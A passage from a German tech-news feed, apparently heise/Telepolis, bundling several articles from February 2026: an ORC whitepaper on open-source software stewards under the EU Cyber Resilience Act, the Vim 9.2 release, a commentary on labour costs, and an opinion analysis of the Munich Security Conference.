Wie die ORC WG in ihrem Blog betont [1], markiert der Cyber Resilience Act einen bedeutenden Wandel der Cybersecurity-Verantwortlichkeiten innerhalb des Softwareentwicklungs-Ökosystems. Open Source Software Stewards werden im CRA erstmals als juristische Akteure genannt und sind eine von Herstellern (Manufacturers) separate Kategorie. Im Gegensatz zu diesen müssen sie beispielsweise keine administrativen Geldstrafen bei Nicht-Compliance leisten. Allerdings wirft die neue Rolle einige Fragen auf, etwa was sie in der Praxis konkret bedeutet und welche genauen Verpflichtungen sie mit sich bringt.

Für das neue Whitepaper haben Mitglieder der ORC-Community den CRA-Text analysiert und interpretiert, um praktische Handlungsanweisungen und Informationen zu bieten. Konkret benennt das Whitepaper beispielsweise, in welchem Verhältnis die Stewards zu ihren unterstützten Projekten stehen und weshalb diese Rolle geschaffen wurde. Ihre Verpflichtungen kommen ebenfalls zur Sprache, und wie sich diese von jenen an Softwarehersteller unterscheiden.

Praktische Beispiele sollen zeigen, wie Open Source Software Stewards in ihren Projekten Cybersicherheitsregeln etablieren und mit Sicherheitslücken sowie deren Offenlegung umgehen können. Das Whitepaper erwähnt darüber hinaus, welche Fragen noch ungeklärt sind, etwa wie man in komplexen Fällen die geeignete Marktüberwachungsbehörde auswählt, und wo weitere regulatorische Anweisungen notwendig sind.

Auf der Website der ORC Working Group steht das 25-seitige Whitepaper „Open Source Software Stewards and CRA“ in der Version 1.0 zum Download bereit [2].

Übergreifende Fragen: Wann ist ein Steward ein Steward?

Dabei richtet sich das Whitepaper lediglich an Open-Source-Projekte, die einen Steward haben. Auf die meisten Projekte [3] trifft das nach Angaben der ORC-Arbeitsgruppe nicht zu. Ein Steward muss eine „juristische Person“ sein, was beispielsweise ein Unternehmen sein kann. Die meisten Open-Source-Projekte werden jedoch nicht von Unternehmen oder Stiftungen unterstützt. Auch dient das Dokument nicht dazu, festzustellen, ob ein Unternehmen als Steward eines Projektes gilt – oder gar als Hersteller. Solche Fragen kommen in den ORC Working Group FAQ [4] zur Sprache.


URL dieses Artikels:
https://www.heise.de/-11177353

Links in diesem Artikel:
[1] https://orcwg.org/blog/stewards-wp-launch/
[2] https://orcwg.org/cra/resources/d3-5-white-paper-on-open-source-software-stewards-and-cra/
[3] https://cra.orcwg.org/faq/stewards/do-all-projects-have-stewards/
[4] https://github.com/orcwg/cra-hub/blob/main/faq.md#open-source-software-stewards
[5] mailto:mai@heise.de

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  • 16. Februar 2026 um 11:28

Vim 9.2 bringt Wayland-Support und neue Vim9-Script-Features

Von Heise
Fliegende Toaster mit Vim-Befehlen, blauer Hintergrund

(Bild: heise medien)

Der Kommandozeileneditor erhält erstmals vollständige Wayland-Unterstützung. Vim9-Script bekommt neue Datentypen, der Diff-Modus wird leistungsfähiger.

Vim 9.2 ist da: Das Release des Kommandozeileneditors bietet erstmals vollständige Unterstützung für Wayland – sowohl für die Bedienoberfläche als auch für die Zwischenablage. Damit reagiert das Projekt auf die zunehmende Verbreitung des Grafikservers unter Linux. Zugleich folgt Vim künftig der XDG Base Directory Specification und legt Konfigurationsdateien unter Linux und Unix in $HOME/.config/vim ab.

Vim9-Script, die moderne Skriptsprache des Editors, erhält neue Datentypen: Enums ermöglichen typsichere Aufzählungen, Generic Functions erlauben die Definition von Funktionen mit Typparametern und der neue Tuple-Datentyp stellt geordnete Sammlungen fester Größe bereit. Built-in Functions lassen sich nun auch als Objektmethoden verwenden. Neue Features wie geschützte _new()-Konstruktoren und der Befehl :defcompile für vollständige Methodenkompilierung runden die Spracherweiterungen ab.

Der Diff-Modus erhält einen neuen Linematch-Algorithmus, der Zeilen zwischen Puffern präziser zuordnet. Die neue Option diffanchors erlaubt es, Ankerpunkte zu setzen, um komplexe Dateien in Abschnitte zu unterteilen und diese unabhängig voneinander zu vergleichen. Das Inline-Highlighting wurde verbessert, es hebt Änderungen innerhalb einer Zeile jetzt detaillierter hervor.

Praxisnahe Verbesserungen

Bei den Default-Einstellungen hat Vim 9.2 mehrere Anpassungen vorgenommen: Der Befehlsverlauf wächst von 50 auf 200 Einträge (history), die Rücktaste verhält sich standardmäßig erwartungsgemäß (backspace auf "indent,eol,start") und die Cursor-Position sowie eingetippte Befehle werden grundsätzlich angezeigt (ruler und showcmd aktiviert). Unter GTK erhöht sich die Standardschriftgröße von 10 auf 12 Punkt, was Nutzern hochauflösender Displays entgegenkommt.

Die Insert-Mode-Completion unterstützt jetzt Fuzzy-Matching und kann Wörter direkt aus Registern vervollständigen. Die neuen Flags nosort und nearest für completeopt geben Nutzern feinere Kontrolle über Anzeige und Sortierung der Vorschläge. Ein neuer interaktiver Tutor, aufrufbar über :Tutor, soll gegenüber dem klassischen vimtutor-Programm ein moderneres Erlernen des Editors bieten.

Plattform-Optimierungen

Windows-Nutzer erhalten native Dark-Mode-Unterstützung für Menüs und Titelleisten sowie hochwertigere Toolbar-Icons. Der Vollbild-Support wurde verbessert. Als Alternative zum horizontalen Tabline bietet Vim 9.2 nun ein vertikales Tabpanel an, was bei vielen geöffneten Dateien übersichtlicher sein kann.

Contributor Yegappan Lakshmanan demonstriert in den Release Notes [1] die Möglichkeiten von Vim9-Script anhand zweier mit GitHub Copilot generierter Projekte: Eine vollständige Implementierung des Spiels Battleship zeigt den Einsatz von Klassen und Type Aliases, ein Number-Puzzle-Spiel belegt die Eignung moderner Vim9-Konstrukte für interaktive Plugins.

Das Release behebt zudem mehrere seit Vim 9.1 bekannt gewordene Sicherheitslücken, Speicherlecks und potenzielle Absturzursachen. Nach dem Tod von Vim-Erfinder Bram Moolenaar [2] im August 2023 führt Christian Brabandt das Projekt als Hauptmaintainer fort.


URL dieses Artikels:
https://www.heise.de/-11177457

Links in diesem Artikel:
[1] https://www.vim.org/vim-9.2-released.php
[2] https://www.heise.de/news/Zum-Tode-Bram-Moolenaars-Vim-Koryphaee-Weltenbummler-und-Spendensammler-9235897.html
[3] https://www.heise.de/ix
[4] mailto:fo@heise.de

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  • 16. Februar 2026 um 11:23

Wenn Arbeit nur noch als Kostenfaktor zählt

Von Thomas Pany

Thomas Pany

Schere schneidet rote Figuren aus einer Reihe ab, schwarze Figuren  bleiben

(Bild: Grafik: shutterstock.com)

Beschäftigte gelten als zu teuer. Warum ausgerechnet Maschmeyers Einwurf den Zustand der Debatte offenlegt. Ein Kommentar.

Rüstungsunternehmen erleben gute Zeiten. Schlechte Zeiten dagegen herrschen fast überall sonst in der Wirtschaft.

Und so wird täglich dringlicher darüber gesprochen, wie viel Beschäftigte kosten, was sie falsch machen und was sie besser machen müssten, wenn sie nicht eingespart werden wollen. Mit diesem "sie" sind abhängig Beschäftigte gemeint – und die selbstständigen Alleinkämpfer. Beide gelten als variable Größe.

Die Selbstständigen stehen dabei oft nicht außerhalb, sondern am Tropf von Auftraggebern: ausgelagert, outgesourct, als Subunternehmer eingebunden, ohne Kündigungsschutz, aber mit Kostendruck. Sie tragen unternehmerisches Risiko, ohne unternehmerische Macht. Auch sie lassen sich kürzen.

Die großen Richtlinien der Zeit haben als Antrieb allesamt Optimierung vom Schlaf über die Arbeit bis zur Freizeit und Ernährung. Die herrschenden Denkmodi sind strategisch. Leben sollen permanent angepasst werden, um für neue Anforderungen gut aufgestellt zu sein.

Wer das nicht schafft, fällt dem Rotstift zum Opfer. Personalkosten gelten, neben Sozialabgaben, als das große Übel, das Wachstum hemmt.

Wie selbstverständlich dieser Konsens geworden ist, merkt man erst, wenn diese Narrative, die schon beinahe als naturwüchsig empfunden werden, von unerwarteter Seite irritiert werden. Zum Beispiel von Carsten Maschmeyer.

Maschmeyer, bekannt geworden mit dem Aufbau des Finanzdienstleisters AWD und heute Investor sowie Juror in der Fernsehsendung Die Höhle der Löwen, kritisiert öffentlich das dauernde Reden über angeblich zu hohe Personalkosten.

"Das Gerede über Kosten wird selbst zum Produktivitätsproblem."

Carsten Maschmeyer [1]

Wer Mitarbeiter nur als Belastung begreife, dürfe sich über sinkende Motivation nicht wundern. Sein Satz:

"Wenn die Mitarbeiter euch nur stören, dann probiert’s doch mal ohne. "

Maschmeyer fordert, nicht von "Personalkosten", sondern von "Personalnutzen" zu sprechen. Unternehmen verdienten ihr Geld nicht trotz, sondern wegen ihrer Mitarbeiter. "Excel-Tabellen allein entwickeln nichts."

Bemerkenswert ist weniger der Inhalt als der Absender. Denn der Kostendruck auf Arbeit folgt seit Jahren einem Beratungsdenken, das Effizienz primär über Reduktion organisiert. Der von Unternehmensberatern wie McKinsey & Company geprägte Fokus auf schlanke Strukturen, Kennzahlen und Skalierbarkeit hat das Verhältnis zur Arbeit verändert: Menschen erscheinen als zu teure Variable, nicht als produktive Grundlage.

Parallel dazu läuft eine Debatte über Krankenstände. Politiker wie Friedrich Merz [2] sprechen über Anreize, Fehlzeiten und Pflichten. Über Ursachen wird seltener gesprochen.

Dass ausgerechnet ein Finanzunternehmer dieses Denken kritisiert, sagt viel über den Zustand der Debatte. Während Politik und Management weiter rechnen, scheint selbst dort, wo in Excel-Tabellen gedacht wird, angekommen zu sein:

Nicht einmal theoretisch rechnet sich eine Wirtschaft ohne Menschen.


URL dieses Artikels:
https://www.heise.de/-11178013

Links in diesem Artikel:
[1] https://www.welt.de/wirtschaft/article698ef36356df0f71cc0413b2/carsten-maschmeyer-wenn-die-mitarbeiter-euch-nur-stoeren-dann-probierts-doch-mal-ohne.html
[2] https://www.deutschlandfunk.de/krankenstand-merz-bekommt-unterstuetzung-von-kassenaerztlicher-bundesvereinigung-100.html

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  • 16. Februar 2026 um 14:30

München: Europa inszeniert Stärke, während Washington Unterordnung fordert

Von Luca Schäfer

Luca Schäfer

US-Außenminister Marco Rubio

US-Außenminister Marco Rubio

(Bild: Shedrick Pelt/Shutterstock.com)

Auf der Münchner Sicherheitskonferenz offenbarten sich tiefe Risse zwischen Europa und den USA. Warum freundliche Worte keinen Konsens schaffen. Eine Analyse.

"Ein tiefer Graben" habe sich aufgetan – mit diesen Worten brachte [1] Bundeskanzler Friedrich Merz am Freitag zunehmende transatlantische Spannungen auf den Punkt. Der kollektive Westen wankt gewaltig: seine geopolitische Rettung war der Leitstern der 62. Ausgabe der Münchner Sicherheitskonferenz, die am gestrigen Sonntag ihr Ende fand.

Während viele Themengebiete vorhersehbar waren – so bat [2] der ukrainische Präsident Selenskyj erneut um mehr finanziell-militärische Unterstützung –, kam insbesondere der Generalangriff der US-Administration auf die Vereinten Nationen verhältnismäßig unerwartet, hatte man doch mit einer harten Schlagseite gen Europa gerechnet.

Europa müsse, so die Worte des amerikanischen Außenministers Marco Rubio, "überleben". Seine durchaus scharfe Kritik verband [3] er mit der Forderung nach stärkerer Eigenständigkeit unter US-amerikanischer Führung. Eine versteckte Kampfansage [4] oder Konsens in München?

Eigene Agenda

Merz könnte geplant haben, einen Gegenentwurf zur Skandalrede von US-Vizepräsident JD Vance aus dem vergangenen Jahr zu halten – dieser hatte das politische Projekt Europa auf allen Ebenen kritisiert [5]. Er antwortete [6] indirekt – ein Jahr später – mit Programmatik. Neben der Warnung an die USA, ein Alleingang sei der falsche Weg, bot der CDU-Kanzler gleichsam eine neue Ebene der Partnerschaft an.

Denn er stellte klar, dass Deutschland vorangehen werde: Man bestehe jedoch auf internationale Einbettung. Europa, so der Kanzler, müsse ein "selbsttragender Pfeiler" der Nato werden – ein rüstungspolitisch forciertes neues Transatlantik-Schema.

Der Schlüssel ist altbekannt: Militarisierung sowie ein europäischer Atomschirm als von Washington unabhängige Sicherheitsarchitektur [7].

Frankreichs Präsident Macron begrüßte die deutsche Idee und stimmte vorsichtig zu [8]. Hierzu passend feierte [9] das Militärische Comeback: Neben Hinterzimmer-Großwaffen-Verhandlungen wurde bekannt, dass Kanada offiziell dem Safe-Programm beitritt [10] – ein 150-Milliarden-Abkommen, welches es nun kanadischen Firmen erlauben wird, mit europäischen Partnern Kriegsgerät zu produzieren.

Kalkulierter Bruch

Dabei brach Merz gleich mit zwei Kontinuitäten: Anstatt am traditionell für den deutschen Kanzler reservierten Samstag sprach dieser – wahrscheinlich für ein gewolltes Agenda-Setting – schon am Freitag [11]. Und wandte sich – in dieser Deutlichkeit – erstmalig öffentlich gegen die aktuellen Maga-Fantasien der US-Politblase.

In englischer Sprache wandte sich der deutsche Kanzler direkt an die im Konferenzsaal versammelte US-Delegation und sagte wörtlich: "Der Kulturkampf der Maga-Bewegung ist nicht unserer. An Klimaabkommen und Weltgesundheitsorganisation halten wir fest, weil wir überzeugt sind: Globale Aufgaben werden wir nur gemeinsam lösen."

Merz gestand zudem ein, dass der Führungsanspruch der USA "verspielt" sein könnte. Im Kern ist man mit der Rollenteilung, der prinzipiellen Schlagrichtung gegen Peking sowie dem Ziel eines auf westlichen Machterhalt ausgelegten Ordnungserhalts umfassend einverstanden.

Jedoch mahnt man Washington, den Bogen nicht zu überspannen, Schleifungen einer zum Vorteil Europas bestehenden Weltordnung wurden abgelehnt. Dies geschieht aus einer Position der relativen Schwäche: zwar kritisierte man den Trumpismus, reale Handlungsoptionen zur Durchsetzung anderer Leitlinien sind jedoch begrenzt: ein wohl-kalkulierter Bruch [12].

Die MSC kann eine Phase strategischer Neuverhandlung mit den USA darstellen. Hierbei war erforderlich, dass Russland als große Bedrohung erhalten bleibt. Immerhin hatte die finnische Außenministerin den Sinn für die Realität noch nicht verloren. Laut Elina Valtonen wisse Moskau, dass "es der Nato völlig unterlegen [13] ist".

Ukraine-Schwenk

Im US-Beitrag auffällig war, dass die Ukraine nahezu keine Rolle spielte. Rubio verzichtete [14] auf die europäischen Durchhalteparolen und machte deutlich, dass es der US-Administration ernst ist mit ihrer Fokusverschiebung. Für die USA ist das ukrainische Schlachtfeld keine Priorität.

Rubio schlug – insbesondere im Vergleich zum Vorjahresbeitrag von JD Vance [15] – nahezu leise Töne an. Dennoch bleiben die inhaltlichen Forderungen bestehen: Eigenverantwortung Europas, Kritik am Liberalismus, eine forcierte Arbeitsteilung. Statt auf militärische Unterstützung der Ukraine zu setzen, bevorzugen die USA im Unterschied zu anderen Konfliktlagen verstärkt diplomatische Lösungen.

Auslassungen

Laut dem US-Außenminister spielen [16] die Vereinten Nationen bei der Lösung internationaler Konflikte "praktisch keine Rolle". Implizit schwang Rubio die USA zur zentralen globalen Ordnungsinstanz auf: Während man – im diplomatischen Alleingang – die Krisen in Gaza, der Ukraine oder Venezuela gelöst habe, besäße die UNO "keine Antworten".

Rubio verschwieg dabei bewusst, dass die USA völkerrechtswidrig den venezolanischen Präsidenten verschleppt haben, erwähnte nicht, dass sein Land völkerrechtswidrig Verhandlungen mit der Islamischen Republik Iran herbeibombte [17]. Teheran verwies wiederholt darauf, dass man mit einem Messer an der Kehle nicht auf Augenhöhe verhandeln könne, und dass Washington seit Jahrzehnten Tel Aviv derart den Rücken stärkt, dass jegliche UN-Lösungen [18] torpediert wurden.

Rubios Rede war eine Hommage an die hegemoniale Doktrin einer Weltmacht, die Legitimität nicht aus Recht, sondern aus Handlungsfähigkeit zieht.

Der als unfähig präsentierte Multilateralismus passt den US-Herrschenden für den aktuellen Abschnitt nicht: "America First" bedeutet Verzicht auf Absprache und Konvention. Nicht, dass die USA internationale Restriktionen jemals größer geachtet hätten – siehe Afghanistan, Vietnam, Irak –, doch selbst die rhetorischen Zugeständnisse scheinen passé.

Was bleibt?

Hoffnungsvoll erscheint in diesem Zusammenhang der Auftritt des chinesischen Außenministers Wang Yi. Dieser präsentierte sein Land als stabilisierende Kraft und Verteidigerin einer regelbasierten internationalen Ordnung – allerdings einer zugunsten Pekings und des Globalen Südens reformierten [19].

Explizit forderte er Gleichberechtigung unter den Staaten sowie – im Rekurs auf Rubio – eine Stärkung der Vereinten Nationen. Als Gegenmodell zum US-Modell des Rechts des Stärkeren stellte Peking seine Global Governance Initiative vor und hob jene als Gegenmodell [20] heraus – dabei will Peking offenkundig die bestehenden transatlantischen Spannungen nutzen.

Europa könne die Avancen des attraktiven Handelspartners in der aktuellen Lage kaum ignorieren [21]. Ausdrücklich begrüßte der chinesische Beitrag eine strategische Autonomie Europas von den USA [22].

Während Europa und allen voran Deutschland die US-amerikanischen Steilvorlagen nach mehr strategischer Autonomie dankend aufnahmen, verharren die USA in ihrer Position des Unilateralismus. Die EU gefällt sich in der imperialen Arbeitsteilung – USA: China, EU: Russland.

Bestünde innerhalb der herrschenden politischen Klasse des europäischen Staatenbündnisses keine Einigkeit darüber, dass der aktuelle Kurs die Aufrechterhaltung ukrainischer Kriegsfähigkeit beinhalte und auf absehbare Zeit ein deutsch-europäischer Krieg gen Osten entfesselt werden müsse, wären die Reaktionen auf US-Positionen noch heftiger ausgefallen.

Auch die US-Position besitzt Fallstricke: Sie ist keine des Friedens – ihr dürfte es um ein Ende des kostspieligen Engagements in Europa gehen. Was nach einem temporären russisch-amerikanischen Friedensschluss mit Moskau passieren wird, dürfte Washington gleichgültig sein. Man braucht das taktische Bündnis mit Moskau temporär gegen Peking, alle Zeichen stehen dennoch auf Krieg.


URL dieses Artikels:
https://www.heise.de/-11177828

Links in diesem Artikel:
[1] https://www.zeit.de/politik/ausland/2026-02/muenchner-sicherheitskonferenz-europa-usa-china
[2] https://www.euronews.com/my-europe/2026/02/15/live-munich-security-conference-zelenskyy-says-ukraine-needs-date-for-eu-accession-aims-f
[3] https://www.tagesschau.de/ausland/europa/sicherheitskonferenz-muenchen-rubio-100.html
[4] https://www.spiegel.de/ausland/marco-rubios-rede-bei-der-muenchner-sicherheitskonferenz-die-nationalistische-neuordnung-des-westens-a-abc12345
[5] https://www.tagesschau.de/ausland/europa/vance-muenchner-sicherheitskonferenz-100.html
[6] https://www.bundesregierung.de/breg-de/aktuelles/rede-bundeskanzler-merz-msc-2026
[7] https://www.sueddeutsche.de/politik/muenchner-sicherheitskonferenz-merz-atomschirm-usa-warnung
[8] https://www.blick.ch/ausland/kein-verlass-mehr-auf-die-usa-ein-atomschirm-fuer-europa-das-sind-die-optionen-id21697115.html
[9] https://www.faz.net/aktuell/politik/ausland/comeback-des-militaerischen-auf-der-msc
[10] https://nanaimonewsnow.com/2026/02/15/canada-seals-deal-eu-defence-procurement-munich-summit/
[11] https://www.tagesschau.de/ausland/europa/merz-botschaften-muenchen-100.html
[12] https://www.jungewelt.de/artikel/471234.muenchner-sicherheitskonferenz-kurs-auf-weltmacht.html
[13] https://www.n-tv.de/politik/Valtonen-lobt-Merz-Russland-weiss-dass-es-der-Nato-voellig-unterlegen-ist
[14] https://responsiblestatecraft.org/rubio-speech-munich/
[15] https://www.heise.de/tp/article/J-D-Vance-Ein-Blick-von-aussen-kann-helfen-10285536.html
[16] https://www.stern.de/politik/ausland/rubio-uno-spielt-bei-loesung-internationaler-konflikte-praktisch-keine-rolle
[17] https://www.tagesschau.de/ausland/asien/iran-atomgespraeche-usa-sanktionen-100.html
[18] https://www.cfr.org/article/us-aid-to-israel-in-four-charts
[19] https://news.cgtn.com/news/2026-02-15/Wang-Yi-calls-for-reforming-improving-global-governance-at-MSC
[20] https://www.globaltimes.cn/page/202602/1329876.shtml
[21] https://www.thenationalnews.com/world/europe/2026/02/15/munich-security-conference-franke-europe-china/
[22] https://www.turkiyetoday.com/world/china-seeks-to-elevate-ties-with-germany-wang-yi-tells-merz-at-munich-conference-34567/

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  • 16. Februar 2026 um 14:00
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